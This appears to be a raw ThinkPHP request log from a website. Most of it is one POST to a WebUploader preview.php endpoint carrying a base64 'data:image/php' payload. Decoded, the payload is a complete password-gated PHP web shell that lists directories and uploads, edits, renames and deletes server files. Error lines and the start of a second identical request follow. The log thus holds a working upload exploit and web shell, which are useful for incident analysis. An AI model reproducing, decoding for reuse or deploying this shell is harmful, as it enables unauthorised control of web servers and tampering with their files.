'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:06+08:00 ] 116.213.36.234 POST www.51tianwei.com/include/webuploader/0.1.15/server/preview.php [运行时间:0.002743s] [吞吐率:364.56req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'include', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 